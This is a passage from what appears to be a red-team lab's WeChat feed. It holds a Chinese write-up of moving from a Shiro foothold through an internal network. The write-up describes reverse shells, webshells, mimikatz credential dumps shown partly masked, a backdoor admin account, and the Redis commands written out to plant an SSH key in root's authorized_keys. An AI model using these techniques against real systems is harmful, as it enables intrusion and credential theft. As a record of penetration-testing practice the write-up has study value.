class="code-snippet__string">&#34;ERROR&#34;</span> + <span class="code-snippet__string">&#34;:// &#34;</span> + e.toString());</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  sb.append(<span class="code-snippet__string">&#34;|&#34;</span> + <span class="code-snippet__string">&#34;&lt;-&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">out</span>.print(sb.toString());</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p><br/></p><p><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__23" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(141, 141, 141)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__24" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">InBug-实验室</span></strong></p></section></section></section><p style="white-space: normal;"><br/></p><section><span style="font-size: 14px;">官</span><span style="font-size: 14px;">网：<a href="https://www.inbug.org/" target="_blank">https://www.inbug.org/</a></span></section><p style="white-space: normal;"><span style="font-size: 14px;">InScan内网扫描器：<a href="https://github.com/inbug-team/InScan" target="_blank">https://github.com/inbug-team/InScan</a></span></p><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cH8sQ9I29jImmqjtDY6xIcSPKPJrhmbMSgCXfwMagX7QSISQlATIsrbm8LrPe1QU0ITJetpldhP2WQ/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section><p style="white-space: normal;"><span style="font-size: 14px;"></span><br/></p>



<p><a href="2247483886">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=35e4c95c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483886%26idx%3D1%26sn%3D1ccac5a3eec365c216077e99c7b1582b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Jul 2021 18:30:00 +0800</pubDate>
    </item>
    <item>
      <title>一次 Shiro 到内网漫游横向渗透</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483826&amp;idx=1&amp;sn=6a005a7b149646d20323b1c338d4d216</link>
      <description>一次 Shiro 到内网漫游横向渗透</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-06-30 18:11</span> <span style="display: inline-block;"></span>
</p>

<p>一次 Shiro 到内网漫游横向渗透</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2b870dd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Iaf8rL4P3C19K8vC217eVQ1uF3DjtEl2xMtAQ17PAwDXgVn9wOFuiceFQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1">前言</span></strong></p></section></section></section><p><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)"/><span style="font-size: 14px;">首先是通过 Shiro 拿到了一台 root：<br/></span></p><p style="text-align: left;"><img class="rich_pages js_insertlocalimg" data-ratio="0.9734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d21cfeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaIqpVZKPLHbI4TRoTuPb2c3w3Fb9OlGRic8nwDDzxGYsmP2ChVU8ibOew%2F640%3Fwx_fmt%3Dpng"/><br/><span style="font-size: 14px;">通过 InScan 看了看内网发现还挺大：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.566" data-s="300,640" style="" data-type="png" data-w="3000" src="https://wechat2rss.xlab.app/img-proxy/?k=c017f9c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaFRnonEKq6zhZ6KGdbYPPe6hMXH7O4icuZviaHG66dpWfPW2RBymeEGCQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">由于当前跳板是出网机器，可以直接通过 wget 下载 frp 到本地：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.42984590429845904" data-s="300,640" style="" data-type="png" data-w="2466" src="https://wechat2rss.xlab.app/img-proxy/?k=c1f2c90c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaP3D7sV6UJtAGtiblhLHia78JpeECKzMJRnniaez8wlia4UmAfTe6DrZqWA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">随即通过 socks5 代理把他内网流量代理出来：<br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.27421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7bb4d1b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia5fu2UQfptu4Amt8aDs6LCzJAGPOtzIbAnvhlhOicicLv7hwpnZhZbmlg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3260123541523679" data-s="300,640" style="" data-type="png" data-w="2914" src="https://wechat2rss.xlab.app/img-proxy/?k=b616786f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaQVaY6cdWWMeTmXF5VuHfQqhacrPmdwDO20uYm4Ulu1booIPenelKwg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">然后反弹了一个 shell 到 msf：</span><span style="font-size: 14px;">（为了方便后续操作）<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.27128547579298834" data-s="300,640" style="" data-type="png" data-w="2396" src="https://wechat2rss.xlab.app/img-proxy/?k=5d3969f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaTnaqQkoicgcjmIicMQd934bbRJgopHWkkSdjOHziaIph1kQzBajdU5bbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1">横向渗透<br/></span></strong></p></section></section></section><p style="text-align: center;"><br/></p><p><span style="font-size: 14px;">通过 Inscan 对内网的 WEB 进行探测找到了一个 tomcat 弱口令，通过部署 war 包拿到了 webshell：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5872909698996656" data-s="300,640" style="" data-type="png" data-w="2990" src="https://wechat2rss.xlab.app/img-proxy/?k=dca0e215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaFEX8CWBYY5hribITWAKyjIHggZCC4jTnUz3n05ZqgHPjich28lzIHSmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4355377421509686" data-s="300,640" style="" data-type="png" data-w="2994" src="https://wechat2rss.xlab.app/img-proxy/?k=5411ef7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ias7Kx7toryBfxlgAxru09qMLSd5uA64LjLNewIkn0bHEC6eF8Ejeouw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">通过 tasklist /svc 发现有 360 全家桶：</span><br/></p><p><img class="rich_pages" data-galleryid="" data-ratio="0.6100966702470462" data-s="300,640" style="" data-type="png" data-w="1862" src="https://wechat2rss.xlab.app/img-proxy/?k=4f219523&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IabrDic7z1p5CfWTHs69HWzb3mia0y1WEXxEnnu3WS2iaBOygJ1NSxUWibibg%2F640%3Fwx_fmt%3Dpng"/><br/><span style="font-size: 14px;">随后上传了一个冰蝎马：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8257777777777778" data-s="300,640" style="" data-type="png" data-w="2250" src="https://wechat2rss.xlab.app/img-proxy/?k=30f990a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IabicCa06DYwztUhw2Qds54xGiaIWGalibuQzgNU0a7ULIv1bExM6IOq10g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">通过实验室的小伙伴做了免杀上线到 CobaltStrike：<br/></span></p><p style="text-align: center;"><img data-ratio="0.6109260493004663" data-w="3002" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=aef13abd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaUNkYgibV942p99JqVJKgK5RUxGUice1uhAr5icxibRJZJnp93wE9Chju8w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">通过 mimikatz 成功抓到 administrator 密码和其他用户的 hash：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">WIN-xxxx6V5B45T\Administrator xxxx@1234</span></code><code><span class="code-snippet_outer">WIN-xxxx6V5B45T\xxxx xxxx828302eee5d159a17ce186b0dbf1</span></code><code><span class="code-snippet_outer">WIN-xxxx6V5B45T\Administrator xxxx828302eee5d159a17ce186b0dbf1</span></code><code><span class="code-snippet_outer">WIN-xxxx6V5B45T\xxxxis xxxx@1234</span></code><code><span class="code-snippet_outer">WIN-xxxx6V5B45T\Administrator xxxx8c1e2a750d98cff13ef32e0a1ce<span class="code-snippet__number">0</span></span></code></pre></section><p><span style="font-size: 14px;">随即通过添加了一个超级管理员用户 asp.net ：qwe123.. 方便进远程桌面：<br/></span></p><p style="text-align: center;"><img data-ratio="1.0533484676503972" data-w="1762" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=76925301&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaPRAEVAwBOdsPotM39GqERUCYO2ovNuR1DjQbtXS9ibxWHbGDpAElpxw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6231593038821954" data-s="300,640" style="" data-type="png" data-w="2988" src="https://wechat2rss.xlab.app/img-proxy/?k=2defca15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IamUo7Ngic8RWtib9CFuu5XB4QndebaEsFB6TqYWDYaTulVHnlicg83OpUg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">随即克隆了一个 administrator 用户到当前用户：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6442141623488774" data-s="300,640" style="" data-type="png" data-w="2316" src="https://wechat2rss.xlab.app/img-proxy/?k=e7e7b8ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia2ic7LC20RLLBjlHgF7BtaPZqfcF8PX9jendvtzL5ibuz32sVHh9z7htg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后通过 Inscan 扫描出来一台 Mssql 弱口令成功登陆到该数据库：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.1477832512315271" data-s="300,640" style="" data-type="png" data-w="1624" src="https://wechat2rss.xlab.app/img-proxy/?k=8953556b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia1K5icUaEYS6kd2oQbcMs4WgiaSlXWwACknFIsXh0M6wSv29LW9S9PnuA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">经尝试 <span style="font-size: 14px;font-family: 宋体;">xp_cmdshell、<span style="font-size: 14px;font-family: 宋体;">sp_oacreate</span>、<span style="font-size: 14px;font-family: 宋体;">sp_oamethod ... 等等都不能利用：</span></span></span><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.5494652406417112" data-s="300,640" style="" data-type="png" data-w="2992" src="https://wechat2rss.xlab.app/img-proxy/?k=eee5a5a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia0tIrwficBTQJZVBge6gfjWNLY5p777XkVohn1WAcbQFPHIGsnFq84Mg%2F640%3Fwx_fmt%3Dpng"/><br/><span style="font-size: 14px;">到这里的时候回头看 Inscan 扫描结果，发现有几台 Redis 未授权：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Redis</span><span class="code-snippet__selector-pseudo">:x.xx.10.43</span><span class="code-snippet__selector-pseudo">:6379</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Redis</span><span class="code-snippet__selector-pseudo">:x.xx.10.102</span><span class="code-snippet__selector-pseudo">:6379</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Redis</span><span class="code-snippet__selector-pseudo">:x.xx.10.96</span><span class="code-snippet__selector-pseudo">:6379</span> </span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2317596566523605" data-s="300,640" style="" data-type="png" data-w="1864" src="https://wechat2rss.xlab.app/img-proxy/?k=d451b967&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaTJLI6Qt7JWB3Yeib16s4s1REzb8ywdeiaMjc5piaDBxiaic4Va6UL5Ugia9g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.24735729386892177" data-s="300,640" style="" data-type="png" data-w="1892" src="https://wechat2rss.xlab.app/img-proxy/?k=70dc9004&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Iaiaw90DiaXrSiafPg9OzkAnleBic5O0K6CKaZA0G38YKzPUu7AeibTPE50YQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23561946902654868" data-s="300,640" style="" data-type="png" data-w="1808" src="https://wechat2rss.xlab.app/img-proxy/?k=40c00893&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaVpGhSzicjOLWGcF2HBEZ9IiccQtVE6FDeoLFFmyKSgiaqSGAUpo41Mibdg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">针对于 Linux 的 Redis 可以直接写计划任务反弹 Shell：<br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4953125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=47a1375d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IalwfkqXibTZuRFI6OVpicwLlLSF5exJYORCCS4E6PzXrPaYH9bLjDwOiaQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">随后 VPS 监听得到 Shell：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3412033511043412" data-s="300,640" style="" data-type="png" data-w="2626" src="https://wechat2rss.xlab.app/img-proxy/?k=c2b17383&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaobYmDMvNgHwxBNyQEQ6cibOW82rg1flqU7gpcEX0StMAicvc2seeU5vg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">这是一种方式，还可以通过写公钥直接登陆！</span><span style="font-size: 14px;">首先是在本地生成了一个公钥：</span><br/></p><p><img class="rich_pages js_insertlocalimg" data-ratio="0.3796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7d3c37d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IajicTAxGwEJ35F6kvjc2YYOwogH1ACFS9iaXEM3WQuTa6FjEOZkPaH5jw%2F640%3Fwx_fmt%3Dpng"/><br/><span style="font-size: 14px;">然后吧公钥写进计划任务里：（记得要加两个 \n ）<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">set</span> x <span class="code-snippet__string">&#34;\n\nssh-rsa 这里是你的公钥\n\n&#34;</span></span></code><code><span class="code-snippet_outer">config <span class="code-snippet__keyword">set</span> dir /root/.ssh/</span></code><code><span class="code-snippet_outer">config <span class="code-snippet__keyword">set</span> dbfilename authorized_keys</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">save</span></span></code></pre></section><p><span style="font-size: 14px;"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18072289156626506" data-s="300,640" style="" data-type="png" data-w="2988" src="https://wechat2rss.xlab.app/img-proxy/?k=061b43ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia3KDXqB6MA8ZEWN1IK1icvjck13zLYZy60lXF8zhPn4pIpbhiaeic4NDkg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">然后本机 VPS 就可以直接连接它的那台 redis 机器：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2634289919058131" data-s="300,640" style="" data-type="png" data-w="2718" src="https://wechat2rss.xlab.app/img-proxy/?k=a3bdb981&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaDLjKoG6qRL7h1Je8nX2gBhLuKF36AoZLp3KBTkDw66eVzdbcfncfDg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后通过分析这台机器的管理员的习惯，发现了他的密码：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.19161676646706588" data-s="300,640" style="" data-type="png" data-w="3006" src="https://wechat2rss.xlab.app/img-proxy/?k=1d7e29b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia8nhUYicJDa5k7QBeVKeyeoItjBHt2ea3q4IHQVF3sbgUsHTsQVKic1gw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">通过此密码成功横向拿到 x.xx.10.102 的 root ：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3812360387192852" data-s="300,640" style="" data-type="png" data-w="2686" src="https://wechat2rss.xlab.app/img-proxy/?k=c24a17e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaRo1UYWoZ0DM81ibj58XaVb56ykeZnH7BpXxJgLvvqT1axuqPkzQsakg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后通过 inScan 扫描四个网段的大 B 段：x.xx.1.1/16、xx.x.0.0/16，192.168.1.1/16，172.16.1.1/16 发现有很多存活主机：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6237424547283702" data-s="300,640" 